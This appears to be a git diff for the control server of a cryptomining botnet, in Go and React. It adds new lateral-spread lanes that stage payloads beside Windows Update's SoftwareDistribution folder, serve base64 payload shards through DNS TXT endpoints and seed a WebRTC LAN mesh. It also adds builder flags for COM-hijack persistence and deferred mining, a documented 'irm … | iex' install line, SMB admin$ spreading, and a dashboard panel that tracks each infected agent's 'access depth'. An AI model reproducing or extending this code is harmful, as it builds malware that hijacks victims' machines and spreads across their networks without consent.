+ Method: "webrtc_mesh", + SHA256: hash, + Dest: dest, + Launch: launch, + DLLExport: "DllRegisterServer", + DeferMining: true, + SpreadInstall: true, + } + mesh := &WebRTCMeshPlanBody{ + STUNServers: []string{"stun:stun.l.google.com:19302"}, + SignalingRelay: strings.TrimRight(serverURL, "/") + "/ws/webrtc-relay", + LANFallbackURL: fallbackURL, + SeederAgentID: strings.TrimSpace(req.AgentID), + RotationHours: 24, + } + return manifest, mesh, nil +} + func sanitizeDeployToken(s string) string { s = strings.ToLower(strings.TrimSpace(s)) var b strings.Builder diff --git a/server/internal/api/deploy_plan_test.go b/server/internal/api/deploy_plan_test.go new file mode 100644 index 0000000..71eb987 --- /dev/null +++ b/server/internal/api/deploy_plan_test.go @@ -0,0 +1,121 @@ +package api + +import ( + "os" + "path/filepath" + "testing" + + dbpkg "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" +) + +func testDeployPlanHandler(t *testing.T) *DeployPlanHandler { + t.Helper() + dir := t.TempDir() + database, err := dbpkg.New(dir) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + buildDir := filepath.Join(dir, "builds", "b1") + if err := os.MkdirAll(buildDir, 0o755); err != nil { + t.Fatal(err) + } + artifact := filepath.Join(buildDir, "worker.exe") + if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil { + t.Fatal(err) + } + if err := database.InsertBuild(&models.BuildRecord{ + ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact, + }); err != nil { + t.Fatal(err) + } + cfgPath := filepath.Join(dir, "config.json") + if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil { + t.Fatal(err) + } + return NewDeployPlanHandler(database, dir, dir, + func() string { return "http://127.0.0.1:8989" }, + func() string { return "fleet-test" }, + func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) }, + ) +} + +func TestBuildPlanWSUSCachePeerLane(t *testing.T) { + h := testDeployPlanHandler(t) + plan, err := h.buildPlan(deployPlanRequest{ + Platform: "windows", BuildID: "b1", + }, "Wuauserv", ServiceDeployLane{Lane: "wsus_cache_peer"}) + if err != nil { + t.Fatal(err) + } + if plan.JoinLane != "wsus_cache_peer" || plan.Manifest == nil { + t.Fatalf("plan=%+v", plan) + } + if plan.CacheGroup == "" || plan.Manifest.CacheGroup == "" { + t.Fatal("expected cache_group") + } + if !containsStr(plan.Manifest.Dest, "SoftwareDistribution") { + t.Fatalf("dest=%q", plan.Manifest.Dest) + } +} + +func TestBuildPlanDNSTXTLane(t *testing.T) { + h := testDeployPlanHandler(t) + plan, err := h.buildPlan(deployPlanRequest{ + Platform: "windows", BuildID: "b1", + }, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"}) + if err != nil { + t.Fatal(err) + } + if plan.JoinLane != "dns_txt" || plan.Manifest == nil { + t.Fatalf("plan=%+v", plan) + } + if plan.DNSTXTZone != "lab.internal" || len(plan.DNSTXTRecords) < 1 { + t.Fatalf("dns zone/records: zone=%q records=%v", plan.DNSTXTZone, plan.DNSTXTRecords) + } + if plan.TTLRefreshSec <= 0 { + t.Fatal("expected ttl_refresh_sec") + } +} + +func TestBuildPlanWebRTCMeshLane(t *testing.T) { + h := testDeployPlanHandler(t) + plan, err := h.buildPlan(deployPlanRequest{ + AgentID: "agent-seed-1", Platform: "windows", BuildID: "b1", + }, "webrtc_mesh", ServiceDeployLane{Lane: "webrtc_mesh"}) + if err != nil { + t.Fatal(err) + } + if plan.JoinLane != "webrtc_mesh" || plan.WebRTCMesh == nil { + t.Fatalf("plan=%+v", plan) + } + if plan.WebRTCMesh.RotationHours != 24 || plan.WebRTCMesh.SeederAgentID != "agent-seed-1" { + t.Fatalf("mesh=%+v", plan.WebRTCMesh) + } +} + +func TestPickDeployLaneWSUSBelowDoSvc(t *testing.T) { + allowlist := NormalizeServiceDeployAllowlist(nil) + services := []DeployServiceFinding{ + {Name: "Wuauserv", Status: "running"}, + {Name: "DoSvc", Status: "running"}, + } + matched, lane, ok := PickDeployLane(services, allowlist) + if !ok || matched != "DoSvc" || lane.Lane != "do_peer" { + t.Fatalf("matched=%q lane=%q", matched, lane.Lane) + } +} + +func containsStr(s, sub string) bool { + return len(s) >= len(sub) && (s == sub || len(sub) == 0 || indexStr(s, sub) >= 0) +} + +func indexStr(s, sub string) int { + for i := 0; i+len(sub) <= len(s); i++ { + if s[i:i+len(sub)] == sub { + return i + } + } + return -1 +} diff --git a/server/internal/api/public_handler.go b/server/internal/api/public_handler.go index 414ddfa..bfb1b42 100644 --- a/server/internal/api/public_handler.go +++ b/server/internal/api/public_handler.go @@ -1,6 +1,7 @@ package api import ( + "encoding/base64" "net/http" "os" "path/filepath" @@ -136,6 +137,68 @@ func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) { http.ServeFile(w, r, path) } +// GET /api/v1/public/dns-txt/{record} +// Simulates DNS TXT shard responses for tests when real _aether zone is unavailable. +func (h *PublicHandler) DNSTXTShard(w http.ResponseWriter, r *http.Request) { + record := strings.TrimSpace(chi.URLParam(r, "record")) + if record == "" { + http.Error(w, "record required", http.StatusBadRequest) + return + } + buildID := strings.TrimSpace(r.URL.Query().Get("pin")) + if buildID == "" { + buildID = strings.TrimSpace(r.URL.Query().Get("build_id")) + } + platform := strings.TrimSpace(r.URL.Query().Get("os")) + if platform == "" { + platform = "windows" + } + build, err := h.resolveLatestBuild(buildID, platform) + if err != nil { + http.Error(w, "build not found", http.StatusNotFound) + return + } + data, err := os.ReadFile(build.FilePath) + if err != nil { + http.Error(w, "artifact missing", http.StatusNotFound) + return + } + // Single-shard simulation for tests; multi-shard plans use per-record URLs. + w.Header().Set("Content-Type", "text/plain") + _, _ = w.Write([]byte(encodeDNSTXTShard(data))) +} + +// GET /api/v1/public/webrtc-mesh/manifest +// LAN HTTP fallback stub documented in SPREAD_TECHNIQUES — real path uses WebRTC data channel + WS relay. +func (h *PublicHandler) WebRTCMeshManifest(w http.ResponseWriter, r *http.Request) { + buildID := strings.TrimSpace(r.URL.Query().Get("pin")) + if buildID == "" { + buildID = strings.TrimSpace(r.URL.Query().Get("build_id")) + } + platform := strings.TrimSpace(r.URL.Query().Get("os")) + if platform == "" { + platform = "windows" + } + build, err := h.resolveLatestBuild(buildID, platform) + if err != nil { + http.Error(w, "build not found", http.StatusNotFound) + return + } + w.Header().Set("Content-Type", "application/octet-stream") + http.ServeFile(w, r, build.FilePath) +} + +func (h *PublicHandler) resolveLatestBuild(buildID, platform string) (*models.BuildRecord, error) { + if buildID != "" { + return h.db.GetBuild(buildID) + } + return h.db.GetLatestBuildForPlatform(platform) +} + +func encodeDNSTXTShard(data []byte) string { + return base64.StdEncoding.EncodeToString(data) +} + func clientIP(r *http.Request) string { ip := r.Header.Get("X-Forwarded-For") if ip == "" { diff --git a/server/internal/api/router.go b/server/internal/api/router.go index c3ab828..5caebad 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -736,6 +736,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/public/builds", publicHandler.ListBuilds) r.Get("/public/download/{id}", publicHandler.Download) r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download) + r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard) + r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest) } }) diff --git a/server/internal/api/service_deploy.go b/server/internal/api/service_deploy.go index 35a8223..9975059 100644 --- a/server/internal/api/service_deploy.go +++ b/server/internal/api/service_deploy.go @@ -16,6 +16,12 @@ type ServiceDeployLane struct { var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{ "DoSvc": {Lane: "do_peer", Priority: 35}, "Delivery Optimization": {Lane: "do_peer", Priority: 35}, + "Wuauserv": {Lane: "wsus_cache_peer", Priority: 34}, + "wuauserv": {Lane: "wsus_cache_peer", Priority: 34}, + "Windows Update": {Lane: "wsus_cache_peer", Priority: 34}, + "dns_txt:_aether": {Lane: "dns_txt", Priority: 33}, + "dns_txt": {Lane: "dns_txt", Priority: 33}, + "webrtc_mesh": {Lane: "webrtc_mesh", Priority: 32}, "CCMEXEC": {Lane: "bits_curl", Priority: 10}, "CcmExec": {Lane: "bits_curl", Priority: 10}, "BITS": {Lane: "bits_curl", Priority: 8}, @@ -69,6 +75,12 @@ func normalizeJoinLane(lane string) string { return "bits_curl" case "do_peer", "do-peer", "dosvc": return "do_peer" + case "wsus_cache_peer", "wsus-cache-peer", "wsus": + return "wsus_cache_peer" + case "dns_txt", "dns-txt": + return "dns_txt" + case "webrtc_mesh", "webrtc-mesh": + return "webrtc_mesh" case "docker", "docker_load", "docker-load": return "docker_load" case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc": diff --git a/server/internal/api/service_deploy_test.go b/server/internal/api/service_deploy_test.go index cc3e715..8b6f740 100644 --- a/server/internal/api/service_deploy_test.go +++ b/server/internal/api/service_deploy_test.go @@ -23,6 +23,28 @@ func TestNormalizeJoinLaneDoPeer(t *testing.T) { } } +func TestNormalizeJoinLaneNewTiers(t *testing.T) { + cases := map[string]string{ + "wsus-cache-peer": "wsus_cache_peer", + "dns-txt": "dns_txt", + "webrtc-mesh": "webrtc_mesh", + } + for in, want := range cases { + if got := normalizeJoinLane(in); got != want { + t.Fatalf("%q => %q want %q", in, got, want) + } + } +} + +func TestPickDeployLaneDNSTXT(t *testing.T) { + allowlist := NormalizeServiceDeployAllowlist(nil) + services := []DeployServiceFinding{{Name: "dns_txt:_aether", Status: "running"}} + matched, lane, ok := PickDeployLane(services, allowlist) + if !ok || matched != "dns_txt:_aether" || lane.Lane != "dns_txt" { + t.Fatalf("matched=%q lane=%q", matched, lane.Lane) + } +} + func TestPickDeployLanePriority(t *testing.T) { allowlist := NormalizeServiceDeployAllowlist(map[string]ServiceDeployLane{ "CCMEXEC": {Lane: "bits_curl", Priority: 10}, diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index c9efb77..de11c65 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -85,8 +85,11 @@ type BuildRequest struct { RemoteAggressive bool `json:"remote_aggressive"` USBSpread bool `json:"usb_spread"` ShareSpread bool `json:"share_spread"` - WinRMSpread bool `json:"winrm_spread"` - COMHijackPersist bool `json:"com_hijack_persist"` + WinRMSpread bool `json:"winrm_spread"` + DnsTxtSpread bool `json:"dns_txt_spread"` + WebRTCMeshSpread bool `json:"webrtc_mesh_spread"` + WSUSCachePeerSpread bool `json:"wsus_cache_peer_spread"` + COMHijackPersist bool `json:"com_hijack_persist"` LinuxLOTLMode string `json:"linux_lotl_mode"` TargetOS string `json:"target_os"` TargetArch string `json:"target_arch"` @@ -1216,6 +1219,9 @@ func GetBuiltinConfig() BuiltinConfig { USBSpread: %v, ShareSpread: %v, WinRMSpread: %v, + DnsTxtSpread: %v, + WebRTCMeshSpread: %v, + WSUSCachePeerSpread: %v, COMHijackPersist: %v, LinuxLOTLMode: %q, BackupServerURLs: %s, @@ -1299,6 +1305,9 @@ func GetBuiltinConfig() BuiltinConfig { req.USBSpread, req.ShareSpread, req.WinRMSpread, + req.DnsTxtSpread, + req.WebRTCMeshSpread, + req.WSUSCachePeerSpread, req.COMHijackPersist, req.LinuxLOTLMode, formatGoStringSlice(req.BackupServerURLs), diff --git a/server/internal/builder/lotl_onion.go b/server/internal/builder/lotl_onion.go index ef0ff9a..5297ab2 100644 --- a/server/internal/builder/lotl_onion.go +++ b/server/internal/builder/lotl_onion.go @@ -11,6 +11,9 @@ var DefaultLotlOnionTiers = []string{ "dotnet", "bits_curl", "do_peer", + "wsus_cache_peer", + "dns_txt", + "webrtc_mesh", "smb", "winrm", "linux", @@ -22,7 +25,8 @@ func NormalizeLotlOnionTiers(raw []string) []string { allowed := map[string]struct{}{ "vuln_recon": {}, "docker": {}, "wsl": {}, "powershell": {}, "dotnet": {}, - "bits_curl": {}, "do_peer": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, + "bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {}, + "smb": {}, "winrm": {}, "linux": {}, "gpo": {}, } out := make([]string, 0, len(raw)) for _, t := range raw { diff --git a/server/internal/builder/lotl_onion_test.go b/server/internal/builder/lotl_onion_test.go index f365e65..b581df9 100644 --- a/server/internal/builder/lotl_onion_test.go +++ b/server/internal/builder/lotl_onion_test.go @@ -4,7 +4,7 @@ import "testing" func TestNormalizeLotlOnionTiers(t *testing.T) { got := NormalizeLotlOnionTiers(nil) - if len(got) != 10 || got[0] != "vuln_recon" || got[9] != "gpo" { + if len(got) != 14 || got[0] != "vuln_recon" || got[13] != "gpo" { t.Fatalf("defaults: %v", got) } } @@ -25,7 +25,7 @@ func TestApplyLotlOnionPreset(t *testing.T) { if !req.AutoSpread || !req.ShareSpread || req.SpreadKit { t.Fatal("spread profile") } - if len(req.LotlOnionTiers) != 10 { + if len(req.LotlOnionTiers) != 14 { t.Fatalf("tiers: %v", req.LotlOnionTiers) } } diff --git a/server/web/public/docs/SPREAD_TECHNIQUES.html b/server/web/public/docs/SPREAD_TECHNIQUES.html index 7a8f0bf..d79a382 100644 --- a/server/web/public/docs/SPREAD_TECHNIQUES.html +++ b/server/web/public/docs/SPREAD_TECHNIQUES.html @@ -423,6 +423,21 @@ irm https://your.site/install.ps1?pin={build_id}&c=docs | iex DoSvc + BITS shadow cache handoff — hash-verified peer chunk staging on LAN; launch via rundll32 or exe with --defer-mining. Probe & Join when DoSvc is running — signed plan: {"join_lane":"do_peer","peer_group":"af-peer-…","manifest":{"method":"bits","launch":"rundll32","defer_mining":true}} + + wsus_cache_peer + WSUS offline cache cousin — stages beside SoftwareDistribution\Download; probes Wuauserv/AU registry; hash verify + rundll32/exe with --defer-mining. + Forge wsus_cache_peer_spread ON — Wuauservjoin_lane: wsus_cache_peer (priority after do_peer). + + + dns_txt + DNS TXT mesh — shards in _aether.<zone>; agent nslookup/Resolve-DnsName, assemble, SHA256 verify. Policy refresh via TXT TTL; tests use /api/v1/public/dns-txt/{record} fallback. + Forge dns_txt_spread default ON — signed plan: {"join_lane":"dns_txt","dns_txt_zone":"lab.internal","dns_txt_records":["_aether.shard0.lab.internal"],"ttl_refresh_sec":300} + + + webrtc_mesh + WebRTC LAN seed — first subnet agent seeder; manifest over data channel (STUN from server, WS relay signaling). Real: WebRTC bytes stay LAN; server sees hashrate + join_lane only. Tests: LAN HTTP fallback at /api/v1/public/webrtc-mesh/manifest. + Forge webrtc_mesh_spread default OFF — Calibrate webrtc_mesh_policy.rotation_hours: 24 for seeder rotation. + smb (spread_smb_unc) admin$ / C$ lateral via sc.exe + net.exe on open port 445 — no PsExec. diff --git a/server/web/src/App.tsx b/server/web/src/App.tsx index 047e0ca..d5d428f 100644 --- a/server/web/src/App.tsx +++ b/server/web/src/App.tsx @@ -11,14 +11,14 @@ import { ForgeProvider } from './context/ForgeContext'; import { MatrixRainProvider } from './context/MatrixRainContext'; import SoundBridge from './components/Sound/SoundBridge'; import GlobalMusicPlayer from './components/GlobalMusicPlayer'; +import AgentsPage from './pages/AgentsPage'; +import CruciblePage from './pages/CruciblePage'; const DashboardPage = lazy(() => import('./pages/DashboardPage')); -const AgentsPage = lazy(() => import('./pages/AgentsPage')); const BuilderPage = lazy(() => import('./pages/BuilderPage')); const MissionDeckPage = lazy(() => import('./pages/MissionDeckPage')); const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage')); const SettingsPage = lazy(() => import('./pages/SettingsPage')); -const CruciblePage = lazy(() => import('./pages/CruciblePage')); const PathTracerPage = lazy(() => import('./pages/PathTracerPage')); const EmberwakePage = lazy(() => import('./pages/EmberwakePage')); diff --git a/server/web/src/components/Charts/HashrateChart.tsx b/server/web/src/components/Charts/HashrateChart.tsx index 4b58f84..1aa35b0 100644 --- a/server/web/src/components/Charts/HashrateChart.tsx +++ b/server/web/src/components/Charts/HashrateChart.tsx @@ -33,7 +33,7 @@ interface HashrateChartProps { const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const; function colorToId(color: string): string { - if (color.includes('f5ff') || color.includes('06b6d4') || color === '#00f5ff' || color.includes('neon-cyan')) return 'cyan'; + if (color.includes('e8f5') || color.includes('f5ff') || color.includes('06b6d4') || color === '#00e8f5' || color === '#00f5ff' || color.includes('neon-cyan')) return 'cyan'; if (color.includes('2da6') || color.includes('8b5cf6')) return 'magenta'; if (color.includes('b020') || color.includes('eab308')) return 'amber'; if (color.includes('39ff') || color.includes('22c55e')) return 'green'; diff --git a/server/web/src/components/Fleet/AccessDepthPanel.css b/server/web/src/components/Fleet/AccessDepthPanel.css new file mode 100644 index 0000000..c7f3cdc --- /dev/null +++ b/server/web/src/components/Fleet/AccessDepthPanel.css @@ -0,0 +1,222 @@ +.access-depth-panel { + margin-bottom: 1rem; + max-width: none; +} + +.access-depth-header { + display: flex; + align-items: baseline; + gap: 0.75rem; + margin-bottom: 0.5rem; +} + +.access-depth-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(11rem, 1fr)); + gap: 0.65rem 1rem; + margin-bottom: 0.65rem; +} + +.access-depth-section-title { + color: var(--neon-cyan); + font-weight: 700; + letter-spacing: 0.08em; + font-size: 0.66rem; + margin-bottom: 0.3rem; + text-transform: uppercase; +} + +.access-depth-os-line { + color: #e8e8e8; + font-size: 0.76rem; + margin-bottom: 0.25rem; +} + +.access-depth-probes { + display: flex; + flex-wrap: wrap; + gap: 0.25rem; + margin-bottom: 0.25rem; +} + +.access-depth-probe { + font-size: 0.62rem; + font-family: var(--font-tech); + padding: 1px 5px; + border-radius: 3px; + border: 1px solid rgba(255, 255, 255, 0.12); +} + +.access-depth-probe.ok { + color: var(--neon-green); + background: rgba(57, 255, 20, 0.08); + border-color: rgba(57, 255, 20, 0.25); +} + +.access-depth-probe.no { + color: var(--text-muted); + background: rgba(255, 255, 255, 0.04); +} + +.access-depth-meta, +.access-depth-muted, +.access-depth-empty { + font-size: 0.68rem; + color: var(--text-muted); +} + +.access-depth-empty { + font-style: italic; +} + +.access-depth-join { + display: flex; + flex-wrap: wrap; + align-items: center; + gap: 0.35rem; + margin-top: 0.35rem; + font-size: 0.68rem; + color: var(--text-muted); +} + +.access-depth-attempt-list { + list-style: none; + margin: 0; + padding: 0; +} + +.access-depth-attempt-row { + display: flex; + flex-wrap: wrap; + align-items: baseline; + gap: 0.25rem 0.4rem; + font-size: 0.72rem; + padding: 0.1rem 0; +} + +.access-depth-attempt-tier { + font-weight: 600; +} + +.access-depth-phase { + font-size: 0.62rem; + color: var(--neon-violet, #b388ff); + text-transform: uppercase; +} + +.access-depth-in-progress, +.access-depth-pending { + margin-top: 0.35rem; + font-size: 0.68rem; + color: var(--neon-amber, #ffb347); +} + +.access-depth-onion-block { + border-top: 1px solid rgba(255, 255, 255, 0.06); + padding-top: 0.5rem; +} + +.access-depth-onion-columns { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(14rem, 1fr)); + gap: 0.75rem 1.25rem; +} + +.access-depth-onion-subtitle { + font-size: 0.68rem; + color: var(--text-muted); + margin-bottom: 0.25rem; +} + +.access-depth-onion-list { + list-style: none; + margin: 0; + padding: 0; + display: flex; + flex-direction: column; + gap: 0.15rem; +} + +.access-depth-onion-item { + display: flex; + flex-wrap: wrap; + align-items: center; + gap: 0.35rem; + font-size: 0.72rem; +} + +.access-depth-onion-idx { + color: var(--text-muted); + min-width: 1.25rem; +} + +.access-depth-onion-label { + color: #e8e8e8; +} + +.access-depth-onion-item--skipped .access-depth-onion-label { + opacity: 0.55; + text-decoration: line-through; +} + +.access-depth-tag { + font-size: 0.58rem; + font-family: var(--font-tech); + letter-spacing: 0.05em; + padding: 0 4px; + border-radius: 2px; +} + +.access-depth-tag--active { + color: var(--neon-cyan); + border: 1px solid rgba(0, 245, 255, 0.35); +} + +.access-depth-tag--skip { + color: var(--text-muted); + border: 1px solid rgba(255, 255, 255, 0.15); +} + +.access-depth-tag--ok { + color: var(--neon-green); + border: 1px solid rgba(57, 255, 20, 0.3); +} + +.access-depth-tag--fail { + color: #ff8866; + border: 1px solid rgba(255, 136, 68, 0.35); +} + +.access-depth-tag--pending { + color: var(--neon-amber, #ffb347); + border: 1px solid rgba(255, 180, 60, 0.3); +} + +.access-depth-source { + margin-left: 0.35rem; + color: var(--text-muted); + font-weight: 400; + text-transform: none; + letter-spacing: 0; +} + +.access-depth-triple { + margin-top: 0.45rem; + font-size: 0.68rem; + color: var(--text-muted); +} + +.access-depth-hint { + margin: 0.45rem 0 0; + font-size: 0.66rem; + color: var(--text-muted); +} + +.access-depth-calibrate-link { + color: var(--neon-cyan); + text-decoration: none; +} + +.access-depth-calibrate-link:hover { + text-decoration: underline; +} diff --git a/server/web/src/components/Fleet/AccessDepthPanel.test.tsx b/server/web/src/components/Fleet/AccessDepthPanel.test.tsx new file mode 100644 index 0000000..b0e6756 --- /dev/null +++ b/server/web/src/components/Fleet/AccessDepthPanel.test.tsx @@ -0,0 +1,172 @@ +/** + * @vitest-environment happy-dom + */ +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { cleanup, render, screen } from '@testing-library/react'; +import { MemoryRouter } from 'react-router-dom'; +import AccessDepthPanel from './AccessDepthPanel'; +import type { Agent } from '../../types'; +import { + buildAccessDepthModel, + parseAccessDepthDiagnostics, + parseAccessDepthServerPolicy, +} from '../../help/accessDepth'; + +vi.mock('../../api/client', () => ({ + api: { + getConfig: vi.fn().mockResolvedValue({ + server: { + lotl_onion_tiers: ['vuln_recon', 'docker', 'winrm'], + triple_onion_policy: { + recon_tiers: ['vuln_recon'], + deploy_lanes: ['docker', 'winrm'], + }, + }, + }), + }, +})); + +function mockAgent(overrides: Partial): Agent { + return { + id: 'a1', + name: 'Node', + wallet: '', + ip: '10.0.0.5', + version: '1', + status: 'online', + cpu_cores: 8, + memory_gb: 16, + last_seen: '', + created_at: '', + hashrate_15s: 0, + hashrate_1m: 0, + hashrate_15m: 0, + shares_total: 0, + shares_good: 0, + shares_bad: 0, + cpu_usage_pct: 0, + memory_usage_pct: 0, + uptime_seconds: 0, + ...overrides, + }; +} + +function renderPanel(agent: Agent, diagnostics?: ReturnType) { + return render( + + + , + ); +} + +describe('accessDepth helpers', () => { + it('parses mining diagnostics payload with probes and tier chain', () => { + const diag = parseAccessDepthDiagnostics({ + lotl_tier: 'wsl', + tier_chain_order: ['container', 'wsl', 'cpu_inprocess'], + tier_chain_skipped: ['exe_subprocess'], + environment_probes: { docker: true, wsl: true, pwsh: true, gpu: false }, + lotl_attempts: [ + { tier: 'container', ok: false, error: 'no runtime', phase: 'mining' }, + { tier: 'wsl', ok: true, duration_ms: 900, phase: 'mining' }, + ], + }); + expect(diag.lotl_tier).toBe('wsl'); + expect(diag.tier_chain_skipped).toEqual(['exe_subprocess']); + expect(diag.environment_probes?.docker).toBe(true); + expect(diag.lotl_attempts).toHaveLength(2); + expect(diag.lotl_attempts?.[1].phase).toBe('mining'); + }); + + it('buildAccessDepthModel for Windows agent with diagnostics', () => { + const agent = mockAgent({ + platform: 'windows', + os_version: '10.0.26200', + arch: 'amd64', + lotl_tier: 'wsl', + join_lane: 'winrm', + agent_elevated: true, + capabilities: { auto_spread: true, hole_punch: false, mesh_p2p: true, remote_aggressive: true, process_hollowing: false, ai_enabled: false }, + }); + const model = buildAccessDepthModel( + agent, + parseAccessDepthDiagnostics({ + tier_chain_order: ['container', 'wsl', 'cpu_inprocess'], + tier_chain_skipped: ['exe_subprocess'], + lotl_attempts: [ + { tier: 'container', ok: false, error: 'blocked', phase: 'mining' }, + { tier: 'wsl', ok: true, phase: 'mining' }, + ], + environment_probes: { docker: false, wsl: true, pwsh: true }, + }), + parseAccessDepthServerPolicy({ server: { lotl_onion_tiers: ['vuln_recon', 'docker'] } }), + ); + expect(model.platformLabel).toBe('Windows'); + expect(model.joinLane).toBe('winrm'); + expect(model.succeeded).toHaveLength(1); + expect(model.failed).toHaveLength(1); + expect(model.miningOnion.find((r) => r.tier === 'exe_subprocess')?.status).toBe('skipped'); + expect(model.spreadOnion).toHaveLength(2); + }); + + it('buildAccessDepthModel for Linux agent without diagnostics', () => { + const agent = mockAgent({ + platform: 'linux', + join_lane: 'linux-lotl', + lotl_attempts: [{ tier: 'cpu_inprocess', ok: true, phase: 'mining' }], + }); + const model = buildAccessDepthModel(agent); + expect(model.platformLabel).toBe('Linux'); + expect(model.succeeded[0].tier).toBe('cpu_inprocess'); + expect(model.miningOnion.length).toBeGreaterThan(0); + }); + + it('buildAccessDepthModel for macOS agent', () => { + const agent = mockAgent({ platform: 'darwin', os_version: '14.2' }); + const model = buildAccessDepthModel(agent); + expect(model.platformLabel).toBe('macOS'); + expect(model.osLine).toContain('macOS'); + }); +}); + +describe('AccessDepthPanel', () => { + afterEach(() => cleanup()); + + it('renders sections for Windows fixture', async () => { + renderPanel( + mockAgent({ + platform: 'windows', + lotl_tier: 'wsl', + join_lane: 'winrm', + lotl_attempts: [{ tier: 'wsl', ok: true, phase: 'mining' }], + }), + parseAccessDepthDiagnostics({ + environment_probes: { wsl: true, pwsh: true }, + tier_chain_order: ['container', 'wsl'], + lotl_attempts: [{ tier: 'wsl', ok: true, phase: 'mining' }], + }), + ); + expect(screen.getByText('ACCESS DEPTH')).toBeInTheDocument(); + expect(screen.getByText('OS & posture')).toBeInTheDocument(); + expect(screen.getByText('Active')).toBeInTheDocument(); + expect(screen.getByText('Succeeded')).toBeInTheDocument(); + expect(screen.getByText('Failed / in progress')).toBeInTheDocument(); + expect(screen.getByText('Effective onion order')).toBeInTheDocument(); + expect(await screen.findByText('WinRM')).toBeInTheDocument(); + }); + + it('shows pending chain when tiers not yet attempted', () => { + renderPanel( + mockAgent({ + platform: 'linux', + status: 'online', + lotl_attempts: [{ tier: 'container', ok: false, error: 'missing' }], + }), + parseAccessDepthDiagnostics({ + tier_chain_order: ['container', 'wsl', 'cpu_inprocess'], + lotl_attempts: [{ tier: 'container', ok: false, error: 'missing' }], + }), + ); + expect(screen.getByText(/pending:/i)).toBeInTheDocument(); + }); +}); diff --git a/server/web/src/components/Fleet/AccessDepthPanel.tsx b/server/web/src/components/Fleet/AccessDepthPanel.tsx new file mode 100644 index 0000000..79918ea --- /dev/null +++ b/server/web/src/components/Fleet/AccessDepthPanel.tsx @@ -0,0 +1,196 @@ +import { useEffect, useMemo, useState } from 'react'; +import { Link } from 'react-router-dom'; +import { api } from '../../api/client'; +import { + buildAccessDepthModel, + parseAccessDepthServerPolicy, + type AccessDepthDiagnostics, +} from '../../help/accessDepth'; +import type { Agent } from '../../types'; +import { HelpTip } from '../HelpTip'; +import JoinLaneBadge from './JoinLaneBadge'; +import LotlTierBadge from './LotlTierBadge'; +import './AccessDepthPanel.css'; +import './LotlVisuals.css'; +import './ReconVisuals.css'; + +interface Props { + agent: Agent; + diagnostics?: AccessDepthDiagnostics; +} + +function OnionList({ rows, empty }: { rows: ReturnType['miningOnion']; empty: string }) { + if (rows.length === 0) { + return
{empty}
; + } + return ( +
    + {rows.map((row) => ( +
  1. + {row.index}. + {row.label} + {row.status === 'active' && active} + {row.status === 'skipped' && skipped} + {row.status === 'done' && ok} + {row.status === 'failed' && fail} + {row.status === 'pending' && pending} +
  2. + ))} +
+ ); +} + +function AttemptMiniList({ + rows, + empty, +}: { + rows: ReturnType['succeeded']; + empty: string; +}) { + if (rows.length === 0) return
{empty}
; + return ( +
    + {rows.map((row, i) => ( +
  • + {row.ok ? '✓' : '✗'} + {row.label} + {row.phase && {row.phase}} + {!row.ok && row.error && {row.error}} +
  • + ))} +
+ ); +} + +export default function AccessDepthPanel({ agent, diagnostics }: Props) { + const [policyLoaded, setPolicyLoaded] = useState(false); + const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({})); + + useEffect(() => { + let cancelled = false; + api + .getConfig() + .then((cfg) => { + if (!cancelled) { + setServerPolicy(parseAccessDepthServerPolicy(cfg)); + setPolicyLoaded(true); + } + }) + .catch(() => { + if (!cancelled) setPolicyLoaded(true); + }); + return () => { + cancelled = true; + }; + }, []); + + const model = useMemo( + () => buildAccessDepthModel(agent, diagnostics, serverPolicy), + [agent, diagnostics, serverPolicy], + ); + + return ( +
+
+ + ACCESS DEPTH + + {!policyLoaded && loading policy…} +
+ +
+
+
OS & posture
+
{model.osLine}
+ {model.probes.length > 0 && ( +
+ {model.probes.map((p) => ( + + {p.label} + + ))} +
+ )} + {model.spreadCaps.length > 0 && ( +
+ spread: {model.spreadCaps.join(', ')} +
+ )} + {model.privilegeHints.length > 0 && ( +
+ {model.privilegeHints.join(' · ')} +
+ )} +
+ +
+
Active
+ {model.activeTier ? ( + + ) : ( +
No active mining tier
+ )} + {model.joinLane ? ( +
+ join lane +
+ ) : ( +
No join lane yet
+ )} +
+ +
+
Succeeded
+ +
+ +
+
Failed / in progress
+ + {model.inProgressLabel && ( +
+ trying {model.inProgressLabel} +
+ )} + {model.pendingLabels.length > 0 && ( +
+ pending: {model.pendingLabels.slice(0, 6).join(' → ')} + {model.pendingLabels.length > 6 ? ` +${model.pendingLabels.length - 6}` : ''} +
+ )} +
+
+ +
+
+ Effective onion order + ({model.miningOrderSource}) +
+
+
+
Mining tiers
+ +
+
+
+ Spread contingency{' '} + + Calibrate + +
+ +
+
+ {model.tripleOnionSummary && ( +
+ Triple onion: {model.tripleOnionSummary} +
+ )} +

+ {' '} + Calibrate → lotl_onion_tiers changes spread order on next agent reconnect. +

+
+
